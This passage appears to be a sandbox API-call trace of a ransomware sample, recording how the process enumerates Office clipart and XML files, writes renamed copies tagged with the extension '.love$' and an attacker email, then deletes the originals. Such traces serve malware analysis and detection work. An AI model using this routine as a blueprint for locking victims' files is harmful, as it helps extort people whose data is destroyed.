(lpString=".pdf") returned 4 [0285.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.870] lstrlenW (lpString=".xls") returned 4 [0285.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.871] lstrlenW (lpString=".xlsx") returned 5 [0285.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.871] lstrlenW (lpString=".ppt") returned 4 [0285.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.871] lstrlenW (lpString=".zip") returned 4 [0285.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.871] lstrlenW (lpString=".rar") returned 4 [0285.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.871] lstrlenW (lpString=".bz2") returned 4 [0285.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.871] lstrlenW (lpString=".7z") returned 3 [0285.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.871] lstrlenW (lpString=".dbf") returned 4 [0285.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.871] lstrlenW (lpString=".1cd") returned 4 [0285.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0285.871] lstrlenW (lpString=".jpg") returned 4 [0285.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.871] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.872] lstrlenW (lpString="AN02724_.WMF") returned 12 [0285.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.872] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2108) returned 1 [0285.872] CloseHandle (hObject=0x380) returned 1 [0285.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0285.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.873] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.873] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0285.874] GetLastError () returned 0x0 [0285.874] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0x83c, lpOverlapped=0x0) returned 1 [0285.876] WriteFile (in: hFile=0x384, lpBuffer=0x37e3020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesWritten=0x2bffc94*=0x840, lpOverlapped=0x0) returned 1 [0285.877] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.877] WriteFile (in: hFile=0x384, lpBuffer=0x37e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1 [0285.878] SetEndOfFile (hFile=0x384) returned 1 [0285.878] CloseHandle (hObject=0x384) returned 1 [0285.878] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.878] SetEndOfFile (hFile=0x380) returned 1 [0285.880] CloseHandle (hObject=0x380) returned 1 [0285.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0285.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.881] lstrlenW (lpString=".doc") returned 4 [0285.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.881] lstrlenW (lpString=".docx") returned 5 [0285.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.881] lstrlenW (lpString=".pdf") returned 4 [0285.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.881] lstrlenW (lpString=".xls") returned 4 [0285.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.881] lstrlenW (lpString=".xlsx") returned 5 [0285.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.881] lstrlenW (lpString=".ppt") returned 4 [0285.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.881] lstrlenW (lpString=".zip") returned 4 [0285.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.881] lstrlenW (lpString=".rar") returned 4 [0285.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.881] lstrlenW (lpString=".bz2") returned 4 [0285.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.882] lstrlenW (lpString=".7z") returned 3 [0285.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.882] lstrlenW (lpString=".dbf") returned 4 [0285.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.882] lstrlenW (lpString=".1cd") returned 4 [0285.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.882] lstrlenW (lpString=".jpg") returned 4 [0285.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.882] lstrlenW (lpString=".doc") returned 4 [0285.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.882] lstrlenW (lpString=".docx") returned 5 [0285.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.882] lstrlenW (lpString=".pdf") returned 4 [0285.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.882] lstrlenW (lpString=".xls") returned 4 [0285.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.882] lstrlenW (lpString=".xlsx") returned 5 [0285.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.882] lstrlenW (lpString=".ppt") returned 4 [0285.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.883] lstrlenW (lpString=".zip") returned 4 [0285.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.883] lstrlenW (lpString=".rar") returned 4 [0285.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.883] lstrlenW (lpString=".bz2") returned 4 [0285.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.883] lstrlenW (lpString=".7z") returned 3 [0285.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.883] lstrlenW (lpString=".dbf") returned 4 [0285.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.883] lstrlenW (lpString=".1cd") returned 4 [0285.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0285.883] lstrlenW (lpString=".jpg") returned 4 [0285.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.883] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.883] lstrlenW (lpString="AN03500_.WMF") returned 12 [0285.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.884] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=9240) returned 1 [0285.884] CloseHandle (hObject=0x380) returned 1 [0285.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0285.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0285.885] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.885] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0285.886] GetLastError () returned 0x0 [0285.886] ReadFile (in: hFile=0x380, lpBuffer=0x37e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x37e3020*, lpNumberOfBytesRead=0x2bffecc*=0x2418, lpOverlapped=0x0) returned 1 [0285.887] WriteFile (hFile=0x384, lpBuffer=0x37e3020, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0) Thread: id = 98 os_tid = 0xd30 [0282.903] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x3700058 [0282.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x3710060 [0282.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53afb0 [0282.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x57a338 [0282.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53aed8 [0282.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x38f4020 [0282.908] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53acc8 [0282.908] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53acc8, Size=0x20) returned 0x51d580 [0282.908] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53acc8 [0282.908] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53acc8, Size=0x20) returned 0x51d8f0 [0282.908] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.908] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.908] Wow64DisableWow64FsRedirection (in: OldValue=0x2d3ff50 | out: OldValue=0x2d3ff50*=0x0) returned 1 [0282.908] lstrlenW (lpString="kernel32.dll") returned 12 [0282.908] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.909] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.909] Sleep (dwMilliseconds=0x64) [0283.168] Sleep (dwMilliseconds=0x64) [0283.409] Sleep (dwMilliseconds=0x64) [0283.877] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.877] lstrlenW (lpString="ipscht.xml") returned 10 [0283.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0284.048] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2436) returned 1 [0284.048] CloseHandle (hObject=0x318) returned 1 [0284.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0284.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.049] lstrlenW (lpString=".doc") returned 4 [0284.049] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.049] lstrlenW (lpString=".docx") returned 5 [0284.049] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0284.049] lstrlenW (lpString=".pdf") returned 4 [0284.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.049] lstrlenW (lpString=".xls") returned 4 [0284.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.049] lstrlenW (lpString=".xlsx") returned 5 [0284.049] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0284.049] lstrlenW (lpString=".ppt") returned 4 [0284.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.049] lstrlenW (lpString=".zip") returned 4 [0284.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.049] lstrlenW (lpString=".rar") returned 4 [0284.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.049] lstrlenW (lpString=".bz2") returned 4 [0284.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.049] lstrlenW (lpString=".7z") returned 3 [0284.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.049] lstrlenW (lpString=".dbf") returned 4 [0284.050] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.050] lstrlenW (lpString=".1cd") returned 4 [0284.050] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.050] lstrlenW (lpString=".jpg") returned 4 [0284.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.050] lstrlenW (lpString=".doc") returned 4 [0284.050] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.050] lstrlenW (lpString=".docx") returned 5 [0284.050] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0284.050] lstrlenW (lpString=".pdf") returned 4 [0284.050] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.050] lstrlenW (lpString=".xls") returned 4 [0284.050] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.050] lstrlenW (lpString=".xlsx") returned 5 [0284.050] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0284.050] lstrlenW (lpString=".ppt") returned 4 [0284.050] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.050] lstrlenW (lpString=".zip") returned 4 [0284.050] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.050] lstrlenW (lpString=".rar") returned 4 [0284.050] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.050] lstrlenW (lpString=".bz2") returned 4 [0284.050] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.051] lstrlenW (lpString=".7z") returned 3 [0284.051] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.051] lstrlenW (lpString=".dbf") returned 4 [0284.051] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.051] lstrlenW (lpString=".1cd") returned 4 [0284.051] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0284.051] lstrlenW (lpString=".jpg") returned 4 [0284.051] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.051] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0284.051] lstrlenW (lpString="ipsdan.xml") returned 10 [0284.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0284.052] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2514) returned 1 [0284.052] CloseHandle (hObject=0x318) returned 1 [0284.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0284.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.053] lstrlenW (lpString=".doc") returned 4 [0284.053] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.053] lstrlenW (lpString=".docx") returned 5 [0284.053] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0284.053] lstrlenW (lpString=".pdf") returned 4 [0284.053] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.053] lstrlenW (lpString=".xls") returned 4 [0284.053] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.053] lstrlenW (lpString=".xlsx") returned 5 [0284.053] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0284.053] lstrlenW (lpString=".ppt") returned 4 [0284.053] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.053] lstrlenW (lpString=".zip") returned 4 [0284.053] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.053] lstrlenW (lpString=".rar") returned 4 [0284.053] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.053] lstrlenW (lpString=".bz2") returned 4 [0284.053] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.053] lstrlenW (lpString=".7z") returned 3 [0284.053] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.053] lstrlenW (lpString=".dbf") returned 4 [0284.054] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.054] lstrlenW (lpString=".1cd") returned 4 [0284.054] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.054] lstrlenW (lpString=".jpg") returned 4 [0284.054] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.054] lstrlenW (lpString=".doc") returned 4 [0284.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString=".docx") returned 5 [0284.054] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0284.054] lstrlenW (lpString=".pdf") returned 4 [0284.054] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString=".xls") returned 4 [0284.054] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString=".xlsx") returned 5 [0284.054] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0284.054] lstrlenW (lpString=".ppt") returned 4 [0284.054] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.054] lstrlenW (lpString=".zip") returned 4 [0284.054] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.054] lstrlenW (lpString=".rar") returned 4 [0284.054] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString=".bz2") returned 4 [0284.054] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.054] lstrlenW (lpString=".7z") returned 3 [0284.054] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.054] lstrlenW (lpString=".dbf") returned 4 [0284.054] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.055] lstrlenW (lpString=".1cd") returned 4 [0284.055] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0284.055] lstrlenW (lpString=".jpg") returned 4 [0284.055] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0284.055] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0284.055] lstrlenW (lpString="ipsdeu.xml") returned 10 [0284.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program 